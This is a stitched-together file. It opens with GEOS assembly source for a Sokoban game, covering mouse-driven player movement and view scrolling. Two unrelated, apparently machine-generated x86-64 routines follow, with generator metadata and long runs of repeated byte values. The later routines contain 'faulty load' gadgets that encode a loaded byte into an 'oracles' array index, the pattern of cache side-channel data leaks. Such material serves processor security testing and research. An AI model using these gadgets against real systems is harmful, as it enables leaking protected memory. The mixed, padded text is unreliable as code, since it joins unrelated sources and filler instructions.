test es:[gameState], mask SGS_EXTERNAL_LEVEL
jz done
andnf es:[gameState], not mask SGS_EXTERNAL_LEVEL
;
; load up the level
;
mov dx, es:[internalLevel]
dec dx
mov es:[level], dx
call GeodeGetProcessHandle
mov di, mask MF_CALL
mov ax, MSG_SOKOBAN_ADVANCE_LEVEL
call ObjMessage
done:
.leave
ret
SokobanPlayInternalLevel endm
endif ; EXTERNAL_LEVELS ----------------------------------------------------
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MapStartSelect
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: User is trying to move the little dude.
CALLED BY: MSG_META_START_SELECT
PASS: *ds:si = MapContentClass object
ds:di = MapContentClass instance data
es = dgroup
cx = mouse x
dx = mouse y
bp low = ButtonInfo
bp high = UIFunctionsActive
RETURN: ax = MouseReturnFlags
DESTROYED: cx, dx, bp
PSEUDO CODE/STRATEGY:
- figure out whether the mouse was clicked to the left of,
to the right of, above, below or on the dude.
- send out the corresponding movement command, if any
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 7/10/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MapStartSelect method dynamic MapContentClass,
MSG_META_START_SELECT
.enter
;
; Convert the passed (x,y) pixel position to an (x,y) map
; location.
;
call ConvertDocCoordsToMapIndices ; (cx,dx) = map index
jc done
;
; Before we get carried away and try to run to the spot
; where they clicked, see if it's a bag that's right next
; to them. If so, just do a normal move-bag in that direction.
;
call CheckIfMovingBag
jnc notMovingBag
;
; They're moving a bag adjacent to them. Call MovePlayerCommon.
;
call MovePlayerCommon
jmp done
notMovingBag:
;
; See if they've clicked on the little man, in which case
; they are probably trying to move him, and we should handle
; it specially.
;
call CheckIfMovingMan
jc done
;
; Find shortest path & move the guy.
;
call SokobanMarkBusy
call MoveMan
call SokobanMarkNotBusy
;
; Just as a usability thing, set the SGS_MOVING_MAN bit,
; so they can immediately start pushing a bag with the mouse
; from here.
;
BitSet es:[gameState], SGS_MOVING_MAN
done:
mov ax, mask MRF_PROCESSED
.leave
ret
MapStartSelect endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ConvertDocCoordsToMapIndices
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Convert an (x, y) pixel position in the document to
an (x, y) location in the map.
CALLED BY: MapStartSelect, MapDragSelect
PASS: (cx, dx) = pixel position
RETURN: (cx, dx) = map location
carry set if off the map, clear if OK
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 1/24/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ConvertDocCoordsToMapIndices proc near
uses ax,bx
.enter
tst cx ; x <= 0? If so, quit.
jle bad
tst dx ; y <= 0? If so, quit.
jle bad
;
; Subtract the map upper-left corner from the mouse position.
;
movdw axbx, cxdx ; ax = x, bx = y
mov cx, es:[bitmapWidth]
div cl ; ax <- map X
cmp al, MAX_COLUMNS
jae bad ; off right edge
clr ah ; nuke remainder
mov_tr cx, ax
mov dx, es:[bitmapHeight]
mov_tr ax, bx
div dl ; al <- map Y
cmp al, MAX_ROWS
jae bad ; off bottom edge
clr ah ; nuke remainder
mov dx, ax
clc
done:
.leave
ret
bad:
stc
jmp done
ConvertDocCoordsToMapIndices endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CheckIfMovingMan
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See if they clicked on the little guy & handle it.
CALLED BY: MapStartSelect
PASS: (cx,dx) = map location where they clicked
es = dgroup
RETURN: carry set if it's on the man, clear otherwise
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 1/24/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CheckIfMovingMan proc near
uses ax,bx,cx,dx,si,di,bp
.enter
;
; Conveniently, the current position is actually stored
; in dgroup. Aren't global variables nice?
;
cmp cx, es:[currentMap].M_header.MH_position.P_x
jne notSame
cmp dx, es:[currentMap].M_header.MH_position.P_y
jne notSame
same::
ornf es:[gameState], mask SGS_MOVING_MAN
stc
jmp done
notSame:
clc
done:
.leave
ret
CheckIfMovingMan endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CheckIfMovingBag
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See if they clicked a bag right next to them.
CALLED BY: MapStartSelect
PASS: (cx,dx) = map square where they clicked
es = dgroup
RETURN: carry set if moved a bag; clear otherwise.
IF they moved a bag, returns cx = MovementDirection
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 12/18/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CheckIfMovingBag proc near
uses ax,bx,dx
.enter
;
; See if they clicked immediately to the right.
;
mov ax, es:[currentMap].M_header.MH_position.P_x
inc ax
cmp cx, ax
jne notRight
;
; If they y-coords are the same, it's a move right.
;
mov ax, es:[currentMap].M_header.MH_position.P_y
cmp dx, ax
jne notRight
movedRight::
mov cx, MD_RIGHT
stc
jmp done
notRight:
;
; See if they clicked immediately to the left.
;
mov ax, es:[currentMap].M_header.MH_position.P_x
dec ax
cmp cx, ax
jne notLeft
;
; If y-coords are the same, it's a move left.
;
mov ax, es:[currentMap].M_header.MH_position.P_y
cmp dx, ax
jne notLeft
movedLeft::
mov cx, MD_LEFT
stc
jmp done
notLeft:
;
; See if they clicked immediately above.
;
mov ax, es:[currentMap].M_header.MH_position.P_y
dec ax
cmp dx, ax
jne notUp
;
; If x-coords are the same, it was a move up.
;
mov ax, es:[currentMap].M_header.MH_position.P_x
cmp cx, ax
jne notUp
movedUp::
mov cx, MD_UP
stc
jmp done
notUp:
;
; See if they clicked immediately below.
;
mov ax, es:[currentMap].M_header.MH_position.P_y
inc ax
cmp dx, ax
jne notDown
;
; If x-coords are the same, it was a move down.
;
mov ax, es:[currentMap].M_header.MH_position.P_x
cmp cx, ax
jne notDown
movedDown::
mov cx, MD_DOWN
stc
jmp done
notDown:
;
; It wasn't immediately right, left, up or down.
;
clc
done:
.leave
ret
CheckIfMovingBag endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MapEndSelect
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Quit moving the man.
CALLED BY: MSG_META_END_SELECT
PASS: *ds:si = MapContentClass object
ds:di = MapContentClass instance data
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 1/24/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MapEndSelect method dynamic MapContentClass,
MSG_META_END_SELECT
andnf es:[gameState], not mask SGS_MOVING_MAN
mov ax, mask MRF_PROCESSED
ret
MapEndSelect endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MapPtr
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: User's dragging the mouse around.
CALLED BY: MSG_META_PTR
PASS: *ds:si = MapContentClass object
ds:di = MapContentClass instance data
(cx,dx) = mouse position
RETURN: ax = MouseReturnFlags
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 1/24/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MapPtr method dynamic MapContentClass,
MSG_META_PTR
uses cx, dx, bp
.enter
;
; If the mouse button isn't down, bail.
;
test bp, mask BI_B0_DOWN
LONG jz done
;
; See if they're actually moving the man...
;
test es:[gameState], mask SGS_MOVING_MAN
LONG jz done
;
; Figure out the coordinates of the square they're over.
;
call ConvertDocCoordsToMapIndices ; (cx,dx) = map location
LONG jc done ; off the map
;
; If it's on the little guy, they haven't moved the mouse
; off his square yet.
;
cmp cx, es:[currentMap].M_header.MH_position.P_x
jne notSame
cmp dx, es:[currentMap].M_header.MH_position.P_y
je done ; x & y are same
notSame:
;
; They clicked on a different row from the little man.
; Check to the left & right, and above & below, the square
; they're dragging over. If we find the man in one of the
; neighboring squares, attempt to move him here. Otherwise,
; they've dragged the mouse way away from him, so stop moving
; him altogether.
;
movdw bxax, cxdx ; bx = x, ax = y
dec bx ; check left
call ConvertArrayCoordinates ; bx = offset
mov ax, MD_RIGHT ; maybe move right
cmp {byte} es:[currentMap + size MapHeader][bx], \
SST_PLAYER
je movePlayer
cmp {byte} es:[currentMap + size MapHeader][bx], \
SST_SAFE_PLAYER
je movePlayer
;
; Check for player to the right...
;
movdw bxax, cxdx
inc bx
call ConvertArrayCoordinates
mov ax, MD_LEFT ; maybe move left
cmp {byte} es:[currentMap + size MapHeader][bx], \
SST_PLAYER
je movePlayer
cmp {byte} es:[currentMap + size MapHeader][bx], \
SST_SAFE_PLAYER
je movePlayer
;
; Check for player above...
;
movdw bxax, cxdx
dec ax
call ConvertArrayCoordinates
mov ax, MD_DOWN
cmp {byte} es:[currentMap + size MapHeader][bx], \
SST_PLAYER
je movePlayer
cmp {byte} es:[currentMap + size MapHeader][bx], \
SST_SAFE_PLAYER
je movePlayer
;
; Check for player below...
;
movdw bxax, cxdx
inc ax ; y = y+1
call ConvertArrayCoordinates ; bx = offset
mov ax, MD_UP ; maybe move up
cmp {byte} es:[currentMap + size MapHeader][bx], \
SST_PLAYER
je movePlayer
cmp {byte} es:[currentMap + size MapHeader][bx], \
SST_SAFE_PLAYER
je movePlayer
;
; Nope! No player near us. We're pretty damned generous,
; though, so we'll just have the guy run here anyway.
;
call SokobanMarkBusy
call MoveMan
call SokobanMarkNotBusy
jmp done
movePlayer:
;
; There *is* a player near us! MovePlayerCommon is just
; what we need.
;
mov_tr cx, ax
call MovePlayerCommon
done:
mov ax, mask MRF_PROCESSED
.leave
ret
MapPtr endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CenterIcon
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Center the player in the middle of the screen.
CALLED BY: MovePlayer, MoveBag
PASS: ax, bx = top left of player
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ron 12/ 1/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CenterIcon proc near
uses ax,bx,cx,dx,si,di,bp
.enter
;
; Make it visible.
;
movdw cxdx, axbx
GetResourceHandleNS TheView, bx
mov si, offset TheView
mov ax, MSG_MAP_VIEW_MAINTAIN_CONTEXT
mov di, mask MF_CALL
call ObjMessage
.leave
ret
CenterIcon endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MapViewMaintainContext
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Scroll the view to show the player.
CALLED BY: MSG_MAP_VIEW_MAINTAIN_CONTEXT
PASS: cx, dx = top left of player
es = dgroup
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 12/17/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MapViewMaintainContext method dynamic MapViewClass, MSG_MAP_VIEW_MAINTAIN_CONTEXT
top local word push dx
left local word push cx
visRect local RectDWord
.enter
;
; Get the rectangle (in document coordinates) that is visible to the
; user and see if the new position of the player is within a 3-brick
; margin of any edge of the view.
;
mov cx, ss
lea dx, ss:[visRect]
mov ax, MSG_GEN_VIEW_GET_VISIBLE_RECT
push bp
call ObjCallInstanceNoLock
mov bx, ds:[si]
add bx, ds:[bx].GenView_offset
mov cx, ds:[bx].GVI_docBounds.RD_right.low
mov dx, ds:[bx].GVI_docBounds.RD_bottom.low
dec cx ; convert to coords
dec dx
pop bp
mov ax, es:[bitmapWidth]
shl ax
add ax, es:[bitmapWidth] ; ax <- 3 brick width
mov di, ss:[left] ; di <- left edge of
; player
mov bx, ss:[visRect].RD_left.low
tst bx
jz checkRight ; => already as far that
; way as possible
add bx, ax
cmp di, bx
jl scroll ; farther left than
; margin, so scroll
checkRight:
add di, es:[bitmapWidth] ; di <- right edge of
; player
mov bx, ss:[visRect].RD_right.low
cmp cx, bx
jle checkTop ; => as far right as
; possible already
sub bx, ax ; bx <- right margin
cmp bx, di
jl scroll
checkTop:
mov ax, es:[bitmapHeight]
shl ax
add ax, es:[bitmapHeight] ; ax <- 3 brick height
mov di, ss:[top] ; di <- top edge of
; player
mov bx, ss:[visRect].RD_top.low
tst bx
jz checkBottom ; => as far up as
; possible already
add bx, ax ; bx <- top margin
cmp di, bx
jl scroll ; => player beyond
; top margin
checkBottom:
mov bx, ss:[visRect].RD_bottom.low
cmp dx, bx
jle done ; => as far down as
; possible already
add di, es:[bitmapHeight] ; di <- bottom edge of
; player
sub bx, ax ; bx <- bottom margin
cmp bx, di
jl scroll ; => player beyond
; margin
done:
.leave
ret
scroll:
;
; Player is in the verge, so scroll it to be in the center of the
; screen instead.
;
push bp
mov ax, ss:[left]
mov bx, ss:[top]
sub sp, size MakeRectVisibleParams
mov bp, sp
clr dx
movdw ss:[bp].MRVP_bounds.RD_left, dxax
movdw ss:[bp].MRVP_bounds.RD_top, dxbx
add ax, es:[bitmapWidth]
add bx, es:[bitmapHeight]
movdw ss:[bp].MRVP_bounds.RD_right, dxax
movdw ss:[bp].MRVP_bounds.RD_bottom, dxbx
mov ss:[bp].MRVP_xMargin, MRVM_50_PERCENT
mov ss:[bp].MRVP_yMargin, MRVM_50_PERCENT
mov ss:[bp].MRVP_xFlags, mask MRVF_ALWAYS_SCROLL
mov ss:[bp].MRVP_yFlags, mask MRVF_ALWAYS_SCROLL
mov dx, size MakeRectVisibleParams
mov ax, MSG_GEN_VIEW_MAKE_RECT_VISIBLE
call ObjCallInstanceNoLock
add sp, size MakeRectVisibleParams
pop bp
jmp done
MapViewMaintainContext endm
if 0
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MapContentVisOpen
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create a gstate for drawing.
CALLED BY: MSG_VIS_OPEN
PASS: *ds:si = MapContentClass object
ds:di = MapContentClass instance data
es = dgroup
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 1/25/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MapContentVisOpen method dynamic MapContentClass,
MSG_VIS_OPEN
uses ax, cx, dx, bp
.enter
mov ax, MSG_VIS_VUP_CREATE_GSTATE
call ObjCallInstanceNoLock ; bp = gstate
mov es:[gstate], bp
.leave
mov di, offset MapContentClass
GOTO ObjCallSuperNoLock
MapContentVisOpen endm
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MapContentVisClose
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Destroy our drawing gstate.
CALLED BY: MSG_VIS_CLOSE
PASS: *ds:si = MapContentClass object
ds:di = MapContentClass instance data
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 1/25/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MapContentVisClose method dynamic MapContentClass,
MSG_VIS_CLOSE
.enter
mov di, es:[gstate]
tst di
jz done
call GrDestroyState
clr es:[gstate]
done:
.leave
mov di, offset MapContentClass
GOTO ObjCallSuperNoLock
MapContentVisClose endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CreateUsefulGState
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create a gstate for drawing.
CALLED BY: SokobanAdvanceLevel, SokobanAttachUIToDocument
PASS: es = dgroup
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 1/25/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CreateUsefulGState proc far
uses ax,bx,cx,dx,si,di,bp
.enter
;
; Destroy the old gstate, if any.
;
mov di, es:[gstate]
tst di
jz doneDestroy
call GrDestroyState
doneDestroy:
;
; Call the content to create a new gstate.
;
GetResourceHandleNS TheMap, bx
mov si, offset TheMap
mov di, mask MF_CALL
mov ax, MSG_VIS_VUP_CREATE_GSTATE
call ObjMessage
mov es:[gstate], bp
.leave
ret
CreateUsefulGState endp
CommonCode ends
|
.global s_prepare_buffers
s_prepare_buffers:
push %r8
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0xb7d9, %rsi
lea addresses_WC_ht+0x17ad9, %rdi
nop
cmp %r8, %r8
mov $112, %rcx
rep movsq
nop
nop
xor %rax, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r8
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r8
push %rax
push %rbx
push %rcx
push %rsi
// Store
lea addresses_WT+0x132d9, %rbx
nop
nop
nop
nop
cmp $42068, %r11
movl $0x51525354, (%rbx)
nop
nop
nop
sub $17537, %rbx
// Load
lea addresses_WC+0x581, %rcx
nop
and $23343, %rsi
vmovups (%rcx), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %r8
nop
nop
nop
nop
nop
inc %rsi
// Store
lea addresses_UC+0x4b59, %rsi
nop
nop
nop
nop
nop
cmp $47365, %r11
mov $0x5152535455565758, %r12
movq %r12, %xmm7
movups %xmm7, (%rsi)
add $24875, %r12
// Store
mov $0x21a1f0000000df7, %r8
nop
xor $53885, %r11
mov $0x5152535455565758, %rax
movq %rax, %xmm2
vmovups %ymm2, (%r8)
nop
nop
nop
nop
nop
add $25782, %r12
// Store
lea addresses_WT+0x140d9, %rsi
nop
nop
nop
nop
cmp $1557, %r8
movl $0x51525354, (%rsi)
nop
nop
nop
add %rax, %rax
// Faulty Load
lea addresses_US+0x76d9, %rsi
xor $56841, %r8
mov (%rsi), %ax
lea oracles, %r12
and $0xff, %rax
shlq $12, %rax
mov (%r12,%rax,1), %rax
pop %rsi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_WT', 'size': 4, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_WC', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_UC', 'size': 16, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 32, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_WT', 'size': 4, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %rax
push %rbp
push %rdi
push %rsi
lea addresses_D_ht+0x16375, %r12
nop
nop
nop
nop
nop
add $56194, %rdi
mov (%r12), %esi
nop
nop
nop
nop
nop
add $49295, %r14
lea addresses_A_ht+0x16cd5, %rbp
clflush (%rbp)
nop
nop
nop
sub %rax, %rax
movb (%rbp), %r11b
xor %rdi, %rdi
pop %rsi
pop %rdi
pop %rbp
pop %rax
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r8
push %rax
push %rcx
push %rsi
// Faulty Load
lea addresses_normal+0x16775, %r11
nop
nop
nop
nop
nop
and %r12, %r12
vmovups (%r11), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %r13
lea oracles, %r12
and $0xff, %r13
shlq $12, %r13
mov (%r12,%r13,1), %r13
pop %rsi
pop %rcx
pop %rax
pop %r8
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_normal', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_normal', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 